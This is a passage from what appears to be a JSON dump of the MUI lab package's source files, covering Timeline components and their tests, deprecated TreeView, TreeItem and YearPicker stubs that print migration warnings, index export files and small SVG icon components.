  */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The position where the timeline's item should appear.\n   */\n  position: PropTypes.oneOf(['alternate-reverse', 'alternate', 'left', 'right']),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TimelineItem;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineItem/TimelineItem.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport TimelineItem, { timelineItemClasses as classes } from '@mui/lab/TimelineItem';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TimelineItem />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TimelineItem />, () => ({\n    classes,\n    inheritComponent: 'li',\n    render,\n    muiName: 'MuiTimelineItem',\n    refInstanceof: window.HTMLLIElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineItem/index.d.ts",
    "content": "export { default } from './TimelineItem';\nexport * from './TimelineItem';\n\nexport { default as timelineItemClasses } from './timelineItemClasses';\nexport * from './timelineItemClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineItem/index.js",
    "content": "export { default } from './TimelineItem';\n\nexport { default as timelineItemClasses } from './timelineItemClasses';\nexport * from './timelineItemClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineItem/timelineItemClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineItemClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"left\"`. */\n  positionLeft: string;\n  /** Styles applied to the root element if `position=\"right\"`. */\n  positionRight: string;\n  /** Styles applied to the root element if `position=\"alternate\"`. */\n  positionAlternate: string;\n  /** Styles applied to the root element if `position=\"alternate-reverse\"`. */\n  positionAlternateReverse: string;\n  /** Styles applied to the root element if TimelineOppositeContent isn't provided. */\n  missingOppositeContent: string;\n}\n\nexport type TimelineItemClassKey = keyof TimelineItemClasses;\n\nexport function getTimelineItemUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTimelineItem', slot);\n}\n\nconst timelineItemClasses: TimelineItemClasses = generateUtilityClasses('MuiTimelineItem', [\n  'root',\n  'positionLeft',\n  'positionRight',\n  'positionAlternate',\n  'positionAlternateReverse',\n  'missingOppositeContent',\n]);\n\nexport default timelineItemClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineOppositeContent/TimelineOppositeContent.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '@mui/material/styles';\nimport { TypographyProps } from '@mui/material/Typography';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { TimelineOppositeContentClasses } from './timelineOppositeContentClasses';\n\nexport interface TimelineOppositeContentProps extends StandardProps<TypographyProps> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineOppositeContentClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [TimelineOppositeContent API](https://next.mui.com/material-ui/api/timeline-opposite-content/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\ndeclare const TimelineOppositeContent: ((\n  props: TimelineOppositeContentProps,\n) => React.JSX.Element) & {\n  muiName: string;\n};\n\nexport default TimelineOppositeContent;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineOppositeContent/TimelineOppositeContent.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Typography from '@mui/material/Typography';\nimport TimelineContext from '../Timeline/TimelineContext';\nimport { getTimelineOppositeContentUtilityClass } from './timelineOppositeContentClasses';\nimport convertTimelinePositionToClass from '../internal/convertTimelinePositionToClass';\n\nconst useUtilityClasses = (ownerState) => {\n  const { position, classes } = ownerState;\n\n  const slots = {\n    root: ['root', convertTimelinePositionToClass(position)],\n  };\n\n  return composeClasses(slots, getTimelineOppositeContentUtilityClass, classes);\n};\n\nconst TimelineOppositeContentRoot = styled(Typography, {\n  name: 'MuiTimelineOppositeContent',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [styles.root, styles[convertTimelinePositionToClass(ownerState.position)]];\n  },\n})(({ ownerState }) => ({\n  padding: '6px 16px',\n  marginRight: 'auto',\n  textAlign: 'right',\n  flex: 1,\n  ...(ownerState.position === 'left' && {\n    textAlign: 'left',\n  }),\n}));\n\nconst TimelineOppositeContent = React.forwardRef(function TimelineOppositeContent(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiTimelineOppositeContent' });\n  const { className, ...other } = props;\n\n  const { position: positionContext } = React.useContext(TimelineContext);\n\n  const ownerState = {\n    ...props,\n    position: positionContext || 'left',\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TimelineOppositeContentRoot\n      component=\"div\"\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nTimelineOppositeContent.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nTimelineOppositeContent.muiName = 'TimelineOppositeContent';\n\nexport default TimelineOppositeContent;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineOppositeContent/TimelineOppositeContent.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography from '@mui/material/Typography';\nimport Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineOppositeContent, {\n  timelineOppositeContentClasses as classes,\n} from '@mui/lab/TimelineOppositeContent';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TimelineOppositeContent />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TimelineOppositeContent />, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiTimelineOppositeContent',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n\n  it('should have positionLeft class when inside of a left-positioned timeline', () => {\n    render(\n      <Timeline position=\"left\">\n        <TimelineOppositeContent>content</TimelineOppositeContent>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionLeft);\n  });\n\n  it('should have positionRight class when inside of a right-positioned timeline', () => {\n    render(\n      <Timeline position=\"right\">\n        <TimelineOppositeContent>content</TimelineOppositeContent>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionRight);\n  });\n\n  it('should have positionLeft class when inside of a left-positioned timeline and a left-positioned item', () => {\n    render(\n      <Timeline position=\"left\">\n        <TimelineItem position=\"left\">\n          <TimelineOppositeContent>content</TimelineOppositeContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionLeft);\n  });\n\n  it('should have positionLeft class when inside of a right-positioned timeline and a left-positioned item', () => {\n    render(\n      <Timeline position=\"right\">\n        <TimelineItem position=\"left\">\n          <TimelineOppositeContent>content</TimelineOppositeContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionLeft);\n  });\n\n  it('should have positionRight class when inside of a left-positioned timeline and a right-positioned item', () => {\n    render(\n      <Timeline position=\"left\">\n        <TimelineItem position=\"right\">\n          <TimelineOppositeContent>content</TimelineOppositeContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionRight);\n  });\n\n  it('should have positionRight class when inside of a right-positioned timeline and a right-positioned item', () => {\n    render(\n      <Timeline position=\"right\">\n        <TimelineItem position=\"right\">\n          <TimelineOppositeContent>content</TimelineOppositeContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionRight);\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineOppositeContent/index.d.ts",
    "content": "export { default } from './TimelineOppositeContent';\nexport * from './TimelineOppositeContent';\n\nexport { default as timelineOppositeContentClasses } from './timelineOppositeContentClasses';\nexport * from './timelineOppositeContentClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineOppositeContent/index.js",
    "content": "export { default } from './TimelineOppositeContent';\n\nexport { default as timelineOppositeContentClasses } from './timelineOppositeContentClasses';\nexport * from './timelineOppositeContentClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineOppositeContent/timelineOppositeContentClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineOppositeContentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"right\"`. */\n  positionRight: string;\n  /** Styles applied to the root element if `position=\"left\"`. */\n  positionLeft: string;\n  /** Styles applied to the root element if `position=\"alternate\"`. */\n  positionAlternate: string;\n  /** Styles applied to the root element if `position=\"alternate-reverse\"`. */\n  positionAlternateReverse: string;\n}\n\nexport type TimelineOppositeContentClassKey = keyof TimelineOppositeContentClasses;\n\nexport function getTimelineOppositeContentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTimelineOppositeContent', slot);\n}\n\nconst timelineOppositeContentClasses: TimelineOppositeContentClasses = generateUtilityClasses(\n  'MuiTimelineOppositeContent',\n  ['root', 'positionLeft', 'positionRight', 'positionAlternate', 'positionAlternateReverse'],\n);\n\nexport default timelineOppositeContentClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineSeparator/TimelineSeparator.d.ts",
    "content": "import * as React from 'react';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport { TimelineSeparatorClasses } from './timelineSeparatorClasses';\n\nexport interface TimelineSeparatorProps extends StandardProps<\n  React.HTMLAttributes<HTMLDivElement>\n> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineSeparatorClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [TimelineSeparator API](https://next.mui.com/material-ui/api/timeline-separator/)\n */\nexport default function TimelineSeparator(props: TimelineSeparatorProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineSeparator/TimelineSeparator.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport { getTimelineSeparatorUtilityClass } from './timelineSeparatorClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTimelineSeparatorUtilityClass, classes);\n};\n\nconst TimelineSeparatorRoot = styled('div', {\n  name: 'MuiTimelineSeparator',\n  slot: 'Root',\n})({\n  display: 'flex',\n  flexDirection: 'column',\n  flex: 0,\n  alignItems: 'center',\n});\n\nconst TimelineSeparator = React.forwardRef(function TimelineSeparator(inProps, ref) {\n  const props = useThemeProps({\n    props: inProps,\n    name: 'MuiTimelineSeparator',\n  });\n\n  const { className, ...other } = props;\n\n  const ownerState = props;\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TimelineSeparatorRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nTimelineSeparator.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TimelineSeparator;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineSeparator/TimelineSeparator.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport TimelineSeparator, { timelineSeparatorClasses as classes } from '@mui/lab/TimelineSeparator';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TimelineSeparator />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TimelineSeparator />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiTimelineSeparator',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineSeparator/index.d.ts",
    "content": "export { default } from './TimelineSeparator';\nexport * from './TimelineSeparator';\n\nexport { default as timelineSeparatorClasses } from './timelineSeparatorClasses';\nexport * from './timelineSeparatorClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineSeparator/index.js",
    "content": "export { default } from './TimelineSeparator';\n\nexport { default as timelineSeparatorClasses } from './timelineSeparatorClasses';\nexport * from './timelineSeparatorClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineSeparator/timelineSeparatorClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineSeparatorClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TimelineSeparatorClassKey = keyof TimelineSeparatorClasses;\n\nexport function getTimelineSeparatorUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTimelineSeparator', slot);\n}\n\nconst timelineSeparatorClasses: TimelineSeparatorClasses = generateUtilityClasses(\n  'MuiTimelineSeparator',\n  ['root'],\n);\n\nexport default timelineSeparatorClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TreeItem/TreeItem.tsx",
    "content": "'use client';\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The TreeItem component was moved from `@mui/lab` to `@mui/x-tree-view`.',\n        '',\n        \"You should use `import { TreeItem } from '@mui/x-tree-view'`\",\n        \"or `import { TreeItem } from '@mui/x-tree-view/TreeItem'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-tree-view-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype TreeItemComponent = ((\n  props: TreeItemProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The TreeItem component was moved from `@mui/lab` to `@mui/x-tree-view`. More information about this migration on our blog: https://mui.com/blog/lab-tree-view-to-mui-x/.\n * @ignore - do not document.\n */\nconst TreeItem = React.forwardRef(function DeprecatedTreeItem() {\n  warn();\n\n  return null;\n}) as TreeItemComponent;\n\nexport default TreeItem;\n\nexport type TreeItemProps = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/TreeItem/index.ts",
    "content": "export { default } from './TreeItem';\nexport * from './TreeItem';\n"
  },
  {
    "path": "packages/mui-lab/src/TreeView/TreeView.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The TreeView component was moved from `@mui/lab` to `@mui/x-tree-view`.',\n        '',\n        \"You should use `import { TreeView } from '@mui/x-tree-view'`\",\n        \"or `import { TreeView } from '@mui/x-tree-view/TreeView'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-tree-view-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype TreeViewComponent<Multiple extends boolean | undefined = undefined> = ((\n  props: TreeViewProps<Multiple> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The TreeView component was moved from `@mui/lab` to `@mui/x-tree-view`. More information about this migration on our blog: https://mui.com/blog/lab-tree-view-to-mui-x/.\n * @ignore - do not document.\n */\nconst TreeView = React.forwardRef(function DeprecatedTreeView() {\n  warn();\n\n  return null;\n}) as TreeViewComponent;\n\nexport default TreeView;\n\nexport type TreeViewProps<Multiple> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/TreeView/index.ts",
    "content": "export { default } from './TreeView';\nexport * from './TreeView';\n"
  },
  {
    "path": "packages/mui-lab/src/YearPicker/YearPicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The YearPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { YearPicker } from '@mui/x-date-pickers'`\",\n        \"or `import { YearPicker } from '@mui/x-date-pickers/YearPicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype YearPickerComponent = (<TDate>(\n  props: YearPickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The YearPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst YearPicker = function DeprecatedYearPicker() {\n  warn();\n\n  return null;\n} as any as YearPickerComponent;\n\nexport default YearPicker;\n\nexport const yearPickerClasses = {};\n\nexport const getYearPickerUtilityClass = (slot: string): string => {\n  warn();\n  return '';\n};\n\nexport type YearPickerClasses = any;\nexport type YearPickerClassKey = any;\nexport type YearPickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/YearPicker/index.ts",
    "content": "export { default } from './YearPicker';\nexport * from './YearPicker';\n"
  },
  {
    "path": "packages/mui-lab/src/index.d.ts",
    "content": "export { default as CalendarPicker } from './CalendarPicker';\nexport * from './CalendarPicker';\n\nexport { default as CalendarPickerSkeleton } from './CalendarPickerSkeleton';\nexport * from './CalendarPickerSkeleton';\n\nexport { default as ClockPicker } from './ClockPicker';\nexport * from './ClockPicker';\n\nexport { default as DatePicker } from './DatePicker';\nexport * from './DatePicker';\n\nexport { default as DateRangePicker } from './DateRangePicker';\nexport * from './DateRangePicker';\n\nexport { default as DateRangePickerDay } from './DateRangePickerDay';\nexport * from './DateRangePickerDay';\n\nexport { default as DateTimePicker } from './DateTimePicker';\nexport * from './DateTimePicker';\n\nexport { default as DesktopDatePicker } from './DesktopDatePicker';\nexport * from './DesktopDatePicker';\n\nexport { default as DesktopDateRangePicker } from './DesktopDateRangePicker';\nexport * from './DesktopDateRangePicker';\n\nexport { default as DesktopDateTimePicker } from './DesktopDateTimePicker';\nexport * from './DesktopDateTimePicker';\n\nexport { default as DesktopTimePicker } from './DesktopTimePicker';\nexport * from './DesktopTimePicker';\n\nexport { default as LoadingButton } from './LoadingButton';\nexport * from './LoadingButton';\n\nexport { default as LocalizationProvider } from './LocalizationProvider';\nexport * from './LocalizationProvider';\n\nexport { default as MobileDatePicker } from './MobileDatePicker';\nexport * from './MobileDatePicker';\n\nexport { default as MobileDateRangePicker } from './MobileDateRangePicker';\nexport * from './MobileDateRangePicker';\n\nexport { default as MobileDateTimePicker } from './MobileDateTimePicker';\nexport * from './MobileDateTimePicker';\n\nexport { default as MobileTimePicker } from './MobileTimePicker';\nexport * from './MobileTimePicker';\n\nexport { default as MonthPicker } from './MonthPicker';\nexport * from './MonthPicker';\n\nexport { default as PickersDay } from './PickersDay';\nexport * from './PickersDay';\n\nexport { default as StaticDatePicker } from './StaticDatePicker';\nexport * from './StaticDatePicker';\n\nexport { default as StaticDateRangePicker } from './StaticDateRangePicker';\nexport * from './StaticDateRangePicker';\n\nexport { default as StaticDateTimePicker } from './StaticDateTimePicker';\nexport * from './StaticDateTimePicker';\n\nexport { default as StaticTimePicker } from './StaticTimePicker';\nexport * from './StaticTimePicker';\n\nexport { default as TabContext } from './TabContext';\nexport * from './TabContext';\n\nexport { default as TabList } from './TabList';\nexport * from './TabList';\n\nexport { default as TabPanel } from './TabPanel';\nexport * from './TabPanel';\n\nexport { default as TimePicker } from './TimePicker';\nexport * from './TimePicker';\n\nexport { default as Timeline } from './Timeline';\nexport * from './Timeline';\n\nexport { default as TimelineConnector } from './TimelineConnector';\nexport * from './TimelineConnector';\n\nexport { default as TimelineContent } from './TimelineContent';\nexport * from './TimelineContent';\n\nexport { default as TimelineDot } from './TimelineDot';\nexport * from './TimelineDot';\n\nexport { default as TimelineItem } from './TimelineItem';\nexport * from './TimelineItem';\n\nexport { default as TimelineOppositeContent } from './TimelineOppositeContent';\nexport * from './TimelineOppositeContent';\n\nexport { default as TimelineSeparator } from './TimelineSeparator';\nexport * from './TimelineSeparator';\n\nexport { default as TreeItem } from './TreeItem';\nexport * from './TreeItem';\n\nexport { default as TreeView } from './TreeView';\nexport * from './TreeView';\n\nexport { default as YearPicker } from './YearPicker';\nexport * from './YearPicker';\n\nexport { default as useAutocomplete } from './useAutocomplete';\nexport * from './useAutocomplete';\n\nexport { default as Masonry } from './Masonry';\nexport * from './Masonry';\n"
  },
  {
    "path": "packages/mui-lab/src/index.js",
    "content": "/* eslint-disable import/export */\n\nexport { default as CalendarPicker } from './CalendarPicker';\nexport * from './CalendarPicker';\n\nexport { default as ClockPicker } from './ClockPicker';\nexport * from './ClockPicker';\n\nexport { default as DatePicker } from './DatePicker';\nexport * from './DatePicker';\n\nexport { default as DateRangePicker } from './DateRangePicker';\nexport * from './DateRangePicker';\n\nexport { default as DateRangePickerDay } from './DateRangePickerDay';\nexport * from './DateRangePickerDay';\n\nexport { default as DateTimePicker } from './DateTimePicker';\nexport * from './DateTimePicker';\n\nexport { default as DesktopDatePicker } from './DesktopDatePicker';\nexport * from './DesktopDatePicker';\n\nexport { default as DesktopDateRangePicker } from './DesktopDateRangePicker';\nexport * from './DesktopDateRangePicker';\n\nexport { default as DesktopDateTimePicker } from './DesktopDateTimePicker';\nexport * from './DesktopDateTimePicker';\n\nexport { default as DesktopTimePicker } from './DesktopTimePicker';\nexport * from './DesktopTimePicker';\n\nexport { default as LoadingButton } from './LoadingButton';\nexport * from './LoadingButton';\n\nexport { default as LocalizationProvider } from './LocalizationProvider';\nexport * from './LocalizationProvider';\n\nexport { default as MobileDatePicker } from './MobileDatePicker';\nexport * from './MobileDatePicker';\n\nexport { default as MobileDateRangePicker } from './MobileDateRangePicker';\nexport * from './MobileDateRangePicker';\n\nexport { default as MobileDateTimePicker } from './MobileDateTimePicker';\nexport * from './MobileDateTimePicker';\n\nexport { default as MobileTimePicker } from './MobileTimePicker';\nexport * from './MobileTimePicker';\n\nexport { default as MonthPicker } from './MonthPicker';\nexport * from './MonthPicker';\n\nexport { default as CalendarPickerSkeleton } from './CalendarPickerSkeleton';\nexport * from './CalendarPickerSkeleton';\n\nexport { default as PickersDay } from './PickersDay';\nexport * from './PickersDay';\n\nexport { default as StaticDatePicker } from './StaticDatePicker';\nexport * from './StaticDatePicker';\n\nexport { default as StaticDateRangePicker } from './StaticDateRangePicker';\nexport * from './StaticDateRangePicker';\n\nexport { default as StaticDateTimePicker } from './StaticDateTimePicker';\nexport * from './StaticDateTimePicker';\n\nexport { default as StaticTimePicker } from './StaticTimePicker';\nexport * from './StaticTimePicker';\n\nexport { default as TabContext } from './TabContext';\nexport * from './TabContext';\n\nexport { default as TabList } from './TabList';\nexport * from './TabList';\n\nexport { default as TabPanel } from './TabPanel';\nexport * from './TabPanel';\n\nexport { default as TimePicker } from './TimePicker';\nexport * from './TimePicker';\n\nexport { default as Timeline } from './Timeline';\nexport * from './Timeline';\n\nexport { default as TimelineConnector } from './TimelineConnector';\nexport * from './TimelineConnector';\n\nexport { default as TimelineContent } from './TimelineContent';\nexport * from './TimelineContent';\n\nexport { default as TimelineDot } from './TimelineDot';\nexport * from './TimelineDot';\n\nexport { default as TimelineItem } from './TimelineItem';\nexport * from './TimelineItem';\n\nexport { default as TimelineOppositeContent } from './TimelineOppositeContent';\nexport * from './TimelineOppositeContent';\n\nexport { default as TimelineSeparator } from './TimelineSeparator';\nexport * from './TimelineSeparator';\n\nexport { default as TreeItem } from './TreeItem';\nexport * from './TreeItem';\n\nexport { default as TreeView } from './TreeView';\nexport * from './TreeView';\n\nexport { default as YearPicker } from './YearPicker';\nexport * from './YearPicker';\n\n// createFilterOptions is exported from Autocomplete\nexport { default as useAutocomplete } from './useAutocomplete';\n\nexport { default as Masonry } from './Masonry';\nexport * from './Masonry';\n"
  },
  {
    "path": "packages/mui-lab/src/index.test.js",
    "content": "/* eslint import/namespace: ['error', { allowComputed: true }] */\n/**\n * Important: This test also serves as a point to\n * import the entire lib for coverage reporting\n */\nimport { expect } from 'chai';\nimport * as MaterialUI from './index';\n\ndescribe('@mui/lab', () => {\n  it('should have exports', () => {\n    expect(typeof MaterialUI).to.equal('object');\n  });\n\n  it('should not have undefined exports', () => {\n    Object.keys(MaterialUI).forEach((exportKey) =>\n      expect(Boolean(MaterialUI[exportKey]), `${exportKey} is not truthy`).to.equal(true),\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/internal/convertTimelinePositionToClass.ts",
    "content": "import { capitalize } from '@mui/material/utils';\n\nexport default function convertTimelinePositionToClass(position: string): string {\n  return position === 'alternate-reverse'\n    ? 'positionAlternateReverse'\n    : `position${capitalize(position)}`;\n}\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/ArrowDropDown.js",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(<path d=\"M7 10l5 5 5-5z\" />, 'ArrowDropDown');\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/ArrowDropDown.tsx",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(<path d=\"M7 10l5 5 5-5z\" />, 'ArrowDropDown');\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/ArrowLeft.tsx",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M15.41 16.59L10.83 12l4.58-4.59L14 6l-6 6 6 6 1.41-1.41z\" />,\n  'ArrowLeft',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/ArrowRight.tsx",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M8.59 16.59L13.17 12 8.59 7.41 10 6l6 6-6 6-1.41-1.41z\" />,\n  'ArrowRight',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/Calendar.tsx",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M17 12h-5v5h5v-5zM16 1v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V1h-2zm3 18H5V8h14v11z\" />,\n  'Calendar',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/Clock.tsx",
